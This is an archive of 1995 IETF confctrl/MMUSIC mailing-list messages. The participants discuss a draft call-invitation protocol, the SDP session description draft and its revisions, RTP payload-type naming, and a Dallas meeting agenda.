	id <AA06547>; Tue, 10 Oct 1995 01:41:12 -0700
Message-Id: <199510100841.AA06547@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Tue, 10 Oct 1995 09:39:38 +0100
X-Mailer: exmh version 1.6.2 8/09/95
To: confctrl
Cc: M.Handley@cs.ucl.ac.uk
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
X-Url: http://www.fokus.gmd.de/step/hgs/
Subject: 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 10 Oct 1995 09:39:35 +0100
Sender: schulzrinne@fokus.gmd.de

A draft paper on a call control/invitation protocol is available at
ftp://gaia.cs.umass.edu/pub/Schu9510:Personal.ps.gz

We have done an initial implementation, but it's not quite ready for 
release yet.

A side note: We found the SDP format to be too cumbersome and too 
different from 'standard' request/reply conventions and thus 
reluctantly chose a more MIME/HTTP-based format for media description. 
It's also slightly more compact.

I'm also trying to show to a more Telecom-oriented crowd that Internet 
technology plus some relatively minor enhancements can provide services 
which are at least equal to those envisioned for so-called 'intelligent 
networks'. (Just leaf through some of the more recent IEEE 
Communications Magazines for a sampling.)

Comments are appreciated.

Henning


Henning Schulzrinne  email: schulzrinne@fokus.gmd.de
GMD-Fokus            phone: +49 30 25499 182
Hardenbergplatz 2    fax:   +49 30 25499 202
D-10623 Berlin       URL:   http://www.fokus.gmd.de/step/hgs



From touch@ISI.EDU  Tue Oct 10 06:47:36 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA00286>; Tue, 10 Oct 1995 13:49:26 -0700
Received: from ash-a.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA00277>; Tue, 10 Oct 1995 13:49:18 -0700
Date: Tue, 10 Oct 1995 13:47:36 -0700
From: touch@ISI.EDU
Posted-Date: Tue, 10 Oct 1995 13:47:36 -0700
Message-Id: <199510102047.AA23700@ash-a.isi.edu>
Received: by ash-a.isi.edu (5.65c/4.0.3-4)
	id <AA23700>; Tue, 10 Oct 1995 13:47:36 -0700
To: confctrl, B.Anderson@lut.ac.uk
Subject: Re: mmcc development?
Cc: touch, postel

Hi,

I wan't sure if anyone else had replied to your request, so I'll try.

> So, I'm interested in whether:
> 
> 1) mmcc is being developed further, if so in what ways?

ISI has some plans to continue work on mmcc, on at least two
fronts. First, Eve Schooler, principle architect of mmcc, is
currently augmenting mmcc to use "location finder" components
she is developing while she is on leave and attending grad
school at CalTech. 

Second, there are some plans to continue work on conference control,
integrating it with hypermedia tools (e.g., the Web), and more
comprehensive group control facilities evolving in the IETF.
We have not yet begun this second phase, but related work is going on
in:
	IETF MMUSIC Working Group
		addressing conference control and group interaction
		they have written a draft of a proposed conference
		control mechanism, but I don't know the current
		status - check the usual places for Internet Drafts
		and IETF working group information
	Crowcroft, Handley, and Wakeman at Univ. College London
		see their recent paper on CCCP in Sigcomm '95
	Schulzrinne, affilliated with UMass and GMD/Fokus
		see his recent paper on a conference control protocol,
		at ftp://gaia.cs.umass.edu/pub/Schu9510:Personal.ps.gz

> 2) anyone has had experience of using mmcc and has any advice to offer
> about a similar application (I've seen the publications on mmcc's
> architecture in the confctrl docs archive).

See the IETF working group for this.

> 3) anyone else is doing any similar work with whom I can discuss problems etc.

See the IETF working group for this too.


> I'm building entirely in Tcl/Tk (7.4 / 4.0), using tcl-dp (3.3b1 has
> multicast extensions built in), and am hoping to be able to make the source

Hmm - also, incidentally, if you're interested...

I revised the GUI of mmcc in Tk/Tcl, and as a side-effect developed 
a tool for embedding Tk/Tcl scripts inside stand-alone compiled C-code
applications. More information is available in the Tk/Tcl FAQ, or
see the tar file at
	ftp://ftp.isi.edu/pub/hpcc-papers/touch/tcl2array.102.tar.Z

I hope this is useful.

Thanks for your interest.

Joe

From owner-confctrl@ISI.EDU  Wed Oct 11 15:16:24 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA29362>; Wed, 11 Oct 1995 06:18:48 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA29358>; Wed, 11 Oct 1995 06:18:46 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA18278>; Wed, 11 Oct 1995 06:18:12 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.21572-0@bells.cs.ucl.ac.uk>; Wed, 11 Oct 1995 14:16:33 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 171 419 3666
To: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Cc: confctrl
Subject: Re:
In-Reply-To: Your message of "Tue, 10 Oct 95 09:39:35 BST."
Date: Wed, 11 Oct 95 14:16:24 +0100
Message-Id: <9511.813417384@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>A draft paper on a call control/invitation protocol is available at
>ftp://gaia.cs.umass.edu/pub/Schu9510:Personal.ps.gz
>
>We have done an initial implementation, but it's not quite ready for 
>release yet.
>
>A side note: We found the SDP format to be too cumbersome and too 
>different from 'standard' request/reply conventions and thus 
>reluctantly chose a more MIME/HTTP-based format for media description. 
>It's also slightly more compact.
>
>I'm also trying to show to a more Telecom-oriented crowd that Internet 
>technology plus some relatively minor enhancements can provide services 
>which are at least equal to those envisioned for so-called 'intelligent 
>networks'. (Just leaf through some of the more recent IEEE 
>Communications Magazines for a sampling.)
>
>Comments are appreciated.

This looks like a good sensible well thought-out protocol, and has all
the advantages of being similar to something we're familiar with.  I
like the use of email addresses as your naming scheme.

I'd just like to add a few comments/observations:

I'm not completely sure of the semantics of the "Required" and
"Accept" fields.  As I understand it, in a request, multiple
"required" fields mean all are compulsory.  Multiple sections within a
field mean one of these is compulsory, and that sub-fields are in
order of preference.  Now, the callee returns an Accept field for each
Required field inthe request, giving the possible acceptable
alternatives.  There is no further round of negotiation, unless you
make a new connection with a Change request.

This is OK if the alternatives are provided by a single tool - on
acceptance of the call, I can start up a media tool that will handle
all the alternatives.  However, if the different encoding schemes are
not handled by the same tool, or are specified on different ports (as
in your example for video), then I have to rely on the order of the
"required" fields to decide which tool to start.  If this is a
multi-way conference, then I cannot start any tool (without confusing
the user by possibly then killing it and starting an alternative)
until I get a new connection containing a Change request, as I cannot
know if the other conferees supported the first choice I accepted.

It seems you really need to have a two-phase negotiation in most
multi-way situations when want to specify alternative coding
schemes.  If this is going to be the norm for small conferences,
you probably should support it in your protocol directly by leaving
the connection open when you know you'll need a second phase and using
the open connection to transfer your Change request.



On a slightly different matter - that of Change requests through
Proxys: You state that "If a server operates in Proxy Mode, it should
cache call Ids .... However should it 'forget' a call ... it can
always treat a change request like a new call and locate the user"
Now, I'm not convinced this is always the case.  You have a "Reach"
field which can be set to "first" which basically states that the call
is to be taken by the first callee from a group that answers.  Now
there's no guarantee that the first callee that answers the original
call will be the first callee that answers the change, so it appears
that under these circumstances, you may have no way to update the
conference settings.


A third point - you have two modes your server can operate in -
"redirect" mode and "proxy" mode, and you state that you can freely
mix the two modes within a call.  It's not clear from the paper what
the semantics of mixing the two are.  For example, if a call routes
through a proxy, then gets a redirect, does the proxy get redirected
or the original client?

If your call has a Reach of "all", you probably want the proxy to
intercept the redirect, or you may lose the possibility to contact the
rest of the group  (of course you then have to have the proxy server
doing loop detection for the redirects).  


I'm not convinced by your assertion that MUCS is more compact than
SDP, but I'll let that pass for now :-)

When will the code be available?

Mark


From owner-confctrl@ISI.EDU  Wed Oct 11 15:16:24 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA29362>; Wed, 11 Oct 1995 06:18:48 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA29358>; Wed, 11 Oct 1995 06:18:46 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA18278>; Wed, 11 Oct 1995 06:18:12 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.21572-0@bells.cs.ucl.ac.uk>; Wed, 11 Oct 1995 14:16:33 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 171 419 3666
To: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Cc: confctrl
Subject: Re:
In-Reply-To: Your message of "Tue, 10 Oct 95 09:39:35 BST."
Date: Wed, 11 Oct 95 14:16:24 +0100
Message-Id: <9511.813417384@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>A draft paper on a call control/invitation protocol is available at
>ftp://gaia.cs.umass.edu/pub/Schu9510:Personal.ps.gz
>
>We have done an initial implementation, but it's not quite ready for 
>release yet.
>
>A side note: We found the SDP format to be too cumbersome and too 
>different from 'standard' request/reply conventions and thus 
>reluctantly chose a more MIME/HTTP-based format for media description. 
>It's also slightly more compact.
>
>I'm also trying to show to a more Telecom-oriented crowd that Internet 
>technology plus some relatively minor enhancements can provide services 
>which are at least equal to those envisioned for so-called 'intelligent 
>networks'. (Just leaf through some of the more recent IEEE 
>Communications Magazines for a sampling.)
>
>Comments are appreciated.

This looks like a good sensible well thought-out protocol, and has all
the advantages of being similar to something we're familiar with.  I
like the use of email addresses as your naming scheme.

I'd just like to add a few comments/observations:

I'm not completely sure of the semantics of the "Required" and
"Accept" fields.  As I understand it, in a request, multiple
"required" fields mean all are compulsory.  Multiple sections within a
field mean one of these is compulsory, and that sub-fields are in
order of preference.  Now, the callee returns an Accept field for each
Required field inthe request, giving the possible acceptable
alternatives.  There is no further round of negotiation, unless you
make a new connection with a Change request.

This is OK if the alternatives are provided by a single tool - on
acceptance of the call, I can start up a media tool that will handle
all the alternatives.  However, if the different encoding schemes are
not handled by the same tool, or are specified on different ports (as
in your example for video), then I have to rely on the order of the
"required" fields to decide which tool to start.  If this is a
multi-way conference, then I cannot start any tool (without confusing
the user by possibly then killing it and starting an alternative)
until I get a new connection containing a Change request, as I cannot
know if the other conferees supported the first choice I accepted.

It seems you really need to have a two-phase negotiation in most
multi-way situations when want to specify alternative coding
schemes.  If this is going to be the norm for small conferences,
you probably should support it in your protocol directly by leaving
the connection open when you know you'll need a second phase and using
the open connection to transfer your Change request.



On a slightly different matter - that of Change requests through
Proxys: You state that "If a server operates in Proxy Mode, it should
cache call Ids .... However should it 'forget' a call ... it can
always treat a change request like a new call and locate the user"
Now, I'm not convinced this is always the case.  You have a "Reach"
field which can be set to "first" which basically states that the call
is to be taken by the first callee from a group that answers.  Now
there's no guarantee that the first callee that answers the original
call will be the first callee that answers the change, so it appears
that under these circumstances, you may have no way to update the
conference settings.


A third point - you have two modes your server can operate in -
"redirect" mode and "proxy" mode, and you state that you can freely
mix the two modes within a call.  It's not clear from the paper what
the semantics of mixing the two are.  For example, if a call routes
through a proxy, then gets a redirect, does the proxy get redirected
or the original client?

If your call has a Reach of "all", you probably want the proxy to
intercept the redirect, or you may lose the possibility to contact the
rest of the group  (of course you then have to have the proxy server
doing loop detection for the redirects).  


I'm not convinced by your assertion that MUCS is more compact than
SDP, but I'll let that pass for now :-)

When will the code be available?

Mark


From owner-confctrl@ISI.EDU  Fri Nov  3 08:56:08 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA01988>; Fri, 3 Nov 1995 10:56:18 -0800
Received: from vnet.ibm.com by venera.isi.edu (5.65c/5.61+local-22)
	id <AA01984>; Fri, 3 Nov 1995 10:56:16 -0800
Message-Id: <199511031856.AA01984@venera.isi.edu>
Received: from RALVM6 by VNET.IBM.COM (IBM VM SMTP V2R3) with BSMTP id 3466;
   Fri, 03 Nov 95 13:56:09 EST
Date: Fri, 3 Nov 95 13:56:08 EST
From: "Candy Elder" <candace@VNET.IBM.COM>
X-Addr: (919)254-4113; FAX (919)254-5483
        IBM BUFA/B664  800 Park Offices Dr., RTP, N.C. 27709
        Application Enablement and APPN Architectures
        IBMmail: USIB5ZBV at IBMMAIL
        Internet: candace@vnet.ibm.com
To: confctrl
Cc: AKE@RALVM6.VNET.IBM.COM
Subject: draft-ietf-mmusic-sdp-01.ps

I recently tried to get the subject file via the IETF home page and
also by ftp from the internet-draft directory at ds.internic.net.
It is no longer available by either route.  I looked for the
"lid-abstracts.txt" file on the internet-drafts directory, but
it was not there.

Please advise as to the status of the subject document.

Regards, Candy Elder

From owner-confctrl@ISI.EDU  Fri Nov  3 06:25:44 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12578>; Fri, 3 Nov 1995 14:24:18 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12574>; Fri, 3 Nov 1995 14:24:17 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA08673; Fri, 3 Nov 95 14:25:44 PST
Date: Fri, 3 Nov 95 14:25:44 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9511032225.AA08673@vlsi.cs.caltech.edu>
To: confctrl, candace@vnet.ibm.com
Subject: Re: draft-ietf-mmusic-sdp-01.ps
Cc: AKE@ralvm6.vnet.ibm.com


>I recently tried to get the subject file via the IETF home page and
>also by ftp from the internet-draft directory at ds.internic.net.
>It is no longer available by either route.  I looked for the
>"lid-abstracts.txt" file on the internet-drafts directory, but
>it was not there.
>
>Please advise as to the status of the subject document.
>
>Regards, Candy Elder

A new draft is imminent, but the latest version is available from

http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.01.ps

E.

From owner-confctrl@ISI.EDU  Sat Nov  4 13:31:24 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10798>; Sat, 4 Nov 1995 05:31:40 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10794>; Sat, 4 Nov 1995 05:31:39 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA08873>; Sat, 4 Nov 1995 05:31:38 -0800
Received: from rodent.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.06699-0@bells.cs.ucl.ac.uk>; Sat, 4 Nov 1995 13:31:26 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Candy Elder <candace@VNET.IBM.COM>
Cc: confctrl, AKE@ralvm6.vnet.ibm.com
Subject: Re: draft-ietf-mmusic-sdp-01.ps
In-Reply-To: Your message of "Fri, 03 Nov 95 13:56:08 EST." <199511031856.AA01984@venera.isi.edu>
Date: Sat, 04 Nov 95 13:31:24 +0000
Message-Id: <607.815491884@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>I recently tried to get the subject file via the IETF home page and
>also by ftp from the internet-draft directory at ds.internic.net.
>It is no longer available by either route.  I looked for the
>"lid-abstracts.txt" file on the internet-drafts directory, but
>it was not there.


Sorry, other pressing commitments meant I failed to get a revised
draft out before the previous draft timed out.  The version I
presented at the last IETF is available from
http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.01.ps.

I will get a new draft out in the next couple of weeks.

Mark

From owner-confctrl@ISI.EDU  Wed Nov 22 20:33:07 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12266>; Wed, 22 Nov 1995 10:34:06 -0800
Received: from ruin.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12248>; Wed, 22 Nov 1995 10:33:52 -0800
Received: by   ruin.informatik.uni-Bremen.de (8.6.10/20.9.94cl) 
	  id   TAA02618
          Wed, 22 Nov 1995 19:33:07 +0100
Date: Wed, 22 Nov 1995 19:33:07 +0100
Message-Id: <199511221833.TAA02618@ruin.informatik.uni-Bremen.de>
From: Carsten Bormann <cabo@Informatik.Uni-Bremen.DE>
To: confctrl
Subject: draft-bormann-mmusic-semantics-00.txt
References: <9511211414.aa19518@IETF.CNRI.Reston.VA.US>

Dear fellow MMUSICians,

just in time for the I-D deadline for Dallas, I shipped a half-baked
internet draft called draft-bormann-mmusic-semantics-00.txt to Cynthia
(see attached abstract).  If you want to read this draft before it
turns up in the internet draft directories, you may want to try
http://www.informatik.uni-bremen.de/cabo/semantics.ps (note that this
URL will always point to the very current version I'm editing).

Earlier, I also sent off draft-bormann-mmusic-itu-interop-01.txt (just
a minor change-barred update to -00).  This unfortunately does not
contain all results from the Geneva SG15 meeting which will conclude
only on Friday.  We may be able to post a short summary of the recent
developments within ITU to this list by next week.

Gruesse, Carsten
-----------------------------------------------------------------------------

Abstract

   This memo presents a set of object classes that can be used to define
   the local representation of the state of the conferences (sessions)
   that the local system is involved in (LASSO: local session state
   objects).  In addition, some initial information is given on how to
   map this state to similar semantics in the ITU T.120 series of
   recommendations.  We think these object classes might be used as a
   basis for defining the dynamic state variables visible in the
   horizontal control protocol used in a session.

   This memo is a submission to the IETF MMUSIC working group.
   Currently, this memo is in ``strawman'' stage.  Comments of any kind
   are positively encouraged and should be addressed to the
   confctrl@isi.edu mailing list.

From owner-confctrl@ISI.EDU  Wed Nov 22 21:18:33 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA21654>; Wed, 22 Nov 1995 13:28:14 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA21648>; Wed, 22 Nov 1995 13:28:13 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA24491>; Wed, 22 Nov 1995 13:28:11 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.08254-0@bells.cs.ucl.ac.uk>; Wed, 22 Nov 1995 21:18:34 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: confctrl
Subject: draft-ietf-mmusic-sdp-01.ps
Date: Wed, 22 Nov 1995 21:18:33 +0000
Message-Id: <9087.817075113@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


I've rushed off a new version of the SDP draft (hopefully) just in
time for the drafts deadline for Dallas.  This is basically the draft
1.4 that we discussed in Stockholm with a few small changes that were
also discussed in Stockholm.

The main changes since pre-draft 1.4 are:

- ttl is now appended to the end of multicast addresses rather than a
separate sub-field (it's IP multicast specific + compulsory)
- a network type subfield has been added preceeding any address type subfield
- multiple ports per stream is allowed for unicast hierarchical encodings
- lots of small cleanups

The changes since draft-ietf-mmusic-sdp-00.ps are too many to go into here.

Until it appears in the internet-drafts archives, it's available as:
http://www.cs.ucl.ac.uk/staff/mhandley/draft-ietf-mmusic-sdp-01.ps
and
http://www.cs.ucl.ac.uk/staff/mhandley/draft-ietf-mmusic-sdp-01.txt

There's still no companion SDAP draft due to ongoing discussions with
the PIM folks.


Mark

BTW, I've been picked up on my use of English for saying "media tool"
(of course it should be "medium tool") but somehow "media tool" seems
to have fallen into general usage.  Does anyone else object to the
terminology "media tool"?

From owner-confctrl@ISI.EDU  Mon Nov 27 05:45:50 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10223>; Mon, 27 Nov 1995 09:53:10 -0800
Received: from IETF.nri.reston.VA.US (ietf.cnri.reston.va.us) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10219>; Mon, 27 Nov 1995 09:53:09 -0800
Received: from [127.0.0.1] by IETF.CNRI.Reston.VA.US id aa18813;
          27 Nov 95 10:45 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl
From: Internet-Drafts@CNRI.Reston.VA.US
Reply-To: Internet-Drafts@CNRI.Reston.VA.US
Subject: I-D ACTION:draft-ietf-mmusic-sdp-01.txt, .ps
Date: Mon, 27 Nov 95 10:45:50 -0500
Sender: cclark@CNRI.Reston.VA.US
Message-Id:  <9511271045.aa18813@IETF.CNRI.Reston.VA.US>

--NextPart

A Revised Internet-Draft is available from the on-line Internet-Drafts 
directories. This draft is a work item of the Multiparty Multimedia Session
Control Working Group of the IETF.                                         

       Title     : SDP: Session Description Protocol                       
       Author(s) : M. Handley, V. Jacobson
       Filename  : draft-ietf-mmusic-sdp-01.txt, .ps
       Pages     : 28
       Date      : 11/22/1995

The sd session directory tool has been in use for some time on the Mbone  
for announcing multicast sessions.  This document describes an exhanced 
version of the sd protocol (SDP v2), and explains the extensions to the 
protocol that have become desirable.                
                       
This document is a product of the Multiparty Multimedia Session Control 
(MMUSIC) working group of the Internet Engineering Task Force.  Comments 
are solicited and should be addressed to the working group's mailing list 
at confctrl@isi.edu and/or the authors.                                    

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-sdp-01.txt".
 Or 
     "get draft-ietf-mmusic-sdp-01.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp-01.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa                                   
        Address:  ftp.is.co.za (196.4.160.8)	
	                                                
     o  Europe                                   
        Address:  nic.nordu.net (192.36.148.17)	
        Address:  ftp.nis.garr.it (192.12.192.10)
	                                                
     o  Pacific Rim                              
        Address:  munnari.oz.au (128.250.1.21)	
	                                                
     o  US East Coast                            
        Address:  ds.internic.net (198.49.45.10)	
	                                                
     o  US West Coast                            
        Address:  ftp.isi.edu (128.9.0.32)  	
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-sdp-01.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-sdp-01.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
For questions, please mail to Internet-Drafts@cnri.reston.va.us.
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19951122185333.I-D@CNRI.Reston.VA.US>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-01.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-sdp-01.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19951122185333.I-D@CNRI.Reston.VA.US>

--OtherAccess--

--NextPart--


From owner-confctrl@ISI.EDU  Wed Dec  6 00:52:45 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12859>; Tue, 5 Dec 1995 16:53:00 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12853>; Tue, 5 Dec 1995 16:52:58 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA18527>; Tue, 5 Dec 1995 16:52:53 -0800
Received: from rodent.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.17487-0@bells.cs.ucl.ac.uk>; Wed, 6 Dec 1995 00:52:43 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: confctrl
Subject: IETF MMUSIC meeting
Date: Wed, 06 Dec 1995 00:52:45 +0000
Message-Id: <2244.818211165@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


The revised agenda for tomorrow's meeting (9am local time, 15:00 UTC) is:

  Robert Webber taking about the ITU's decision to *copy* the RTP spec
  rather than reference it. (10mins) (this isn't really confctrl, but
  there's no AVT meeting in Dallas)

  Joerg Ott and Fred Baker talking about the status of the ITU standards
  where they impact conference control. (30mins)

  Mark Handley talking about SDP and plans for SDAP

  Carsten Borman talkiong about local session state objects

  Mark Handley talking about plans for a local session coordination protocol.

This will be multicast, and the room is equipped for feedback from the
Mbone if anyone wants to ask questions.

Mark

From owner-confctrl@ISI.EDU  Tue Dec  5 12:10:02 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA20717>; Tue, 5 Dec 1995 20:10:12 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA20708>; Tue, 5 Dec 1995 20:10:09 -0800
Received: from little-bear.precept.com by precept.com (5.x/SMI-4.1)
	id AA13805; Tue, 5 Dec 1995 20:10:03 -0800
Date: Tue, 5 Dec 1995 20:10:02 -0800 (PST)
From: Stephen Casner <casner@precept.com>
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: confctrl
Subject: Re: draft-ietf-mmusic-sdp-01.ps
In-Reply-To: <9087.817075113@cs.ucl.ac.uk>
Message-Id: <Pine.SOL.3.91.951205200918.23342B-100000@little-bear.precept.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Mark,

Here are a few very last minute comments on SDP.  I apologize that
several of these have been waiting since our initial email discussion
in August.  These issues seem not to have been addressed in the
revised SDP draft.

We were talking about several aspects related to RTP profiles and
payload formats:

  - I mentioned before the problem that L8, for example, is defined in
    the profile but does not have a static payload type associated
    with it (such a type would also have to specify a sample rate).
    Similarly, two payload formats use L16 (one or two channels).
    Therefore, this name space can't be used to identify RTP static
    payload type assignments.  The payload type numbers should be used
    instead.

  - Payload types are profile-specific; you suggested "AVP-17" rather
    than just "17" to solve this problem, although you commented that
    this was a little to implicit for your liking (I'm not sure I
    understood that).  Instead, I would suggest that the protocol be
    RTP-AVP and the payload type be just 17.  This is prefered because
    an app may use protocol RTP-AVP and switch among payload types 17,
    5 and 12, but it would not likely use protocol RTP and switch
    among payload types AVP-17 and XYZ-5.

  - For dynamic payload type assignments you suggested:

	    m=audio 12346 RTP L16,11025/2
	    a=ptype:97

    to specify dynamic payload type 97 should be assigned to payload
    format "16-bit linear sampling, 11025 Hz sampling rate, 2
    channels".  You also asked if sessions would sometimes need
    multiple dynamic payload type assignments (the answer is yes), in
    which case you suggested

	    a=ptmap:L8,8000 96
	    a=ptmap:L8,11025 97
	    a=ptmap:L16,8000 98

    I would prefer to put the simple parameter first and the variable
    parameter(s) later:

	    a=ptmap:96 L8,8000
	    a=ptmap:97 L8,11025
	    a=ptmap:98 L16,8000

    If we do have this ptmap form, then would it be expected to follow

	    m=audio 12346 RTP-AVP

    without any format spec?  (I've inserted my RTP-AVP suggestion
    here.)

  - There are a number of encoding types that were removed from the
    profile spec, consistent with the plans to be more conservative
    with static payload type assignments (allowing them only for
    interoperable algorithms).  Also, the name IDVI became DVI4.

Some other comments on SDP not related to the above:

  - SDP includes "o" for the originator of the session announcement.
    There may also be a need to specify the host that is the intended
    sender for sessions that will be in the broadcast style.  As in
    other aspects of the lightweight session model, this field would
    simply be a suggestion to the receivers so that they can
    automatically mute any other sources and leave the intended source
    unmuted.  This new field is required because the source may not be
    the same as the session originator.

  - The "o" field builds upon the address of the "originating host".
    Then the session is originated from an sd-like tool, this host
    address is well defined.  What about when a session is created via
    a web browser, for example?

  - Since vat now does support RTPv2, and since a transition from the
    original vat protocol to RTPv2 is to be encouraged, I suggest that
    the wording be changed in a few places.

  - In the discussion of the port field for "m=", should there be a
    discussion of the conventions mrouted uses for priority in rate
    limiting?  (Ports are divided into four classes 0xxxx, 2xxxx,
    4xxxx and 6xxxx, and Bill Fenner can supply the details.)

							-- Steve

From owner-confctrl@ISI.EDU  Fri Dec 22 11:53:38 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA26862>; Fri, 22 Dec 1995 03:58:40 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA26858>; Fri, 22 Dec 1995 03:58:38 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA04856>; Fri, 22 Dec 1995 03:54:02 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.07605-0@bells.cs.ucl.ac.uk>; Fri, 22 Dec 1995 11:53:41 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: confctrl
Subject: RTP profiles and payload types in SDP
Date: Fri, 22 Dec 1995 11:53:38 +0000
Message-Id: <6222.819633218@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


(I know it's dangerous sending this so close to Christmas, but if you
plan to use SDP, please read this! Sorry it's so long!)

I had a long discussion with Steve Casner last night regarding RTP
profiles and payload types.  If you remember, the problem Steve raised
is that the names currently specified in the SDP draft and RTP AV
Profile do not specify a unique mapping onto payload type for two
main reasons:

 - such names are profile specific, and there may be more than one profile
   possible for a media type.
 - some (perhaps soo to be many?) payload types are allocated dynamically,
   and therefore the encoding name is not sufficient.

We discussed a large range of options for dealing with these,
including making the assumption that for audio and video media, there
will only be one AV profile.  However, this seems to be a bad course
to take, given that there may soon be more than one RTP profile for
whiteboard type applications, and any mechanim we choose to solve this
problem should also be used for audio and video.  We also don't want
to adopt a solution that becomes ugly should a different AV profile be
defined for some reason (one possible though undesirable example is
that such a profile could emerge from the current H.323 work).

Given that we need to specify the profile for the payload type to be
meaningful, there are several options:

  1 specify it in the protocol field
  2 specify it in the format field
  3 merge protocol and format fields and use one unique namespace
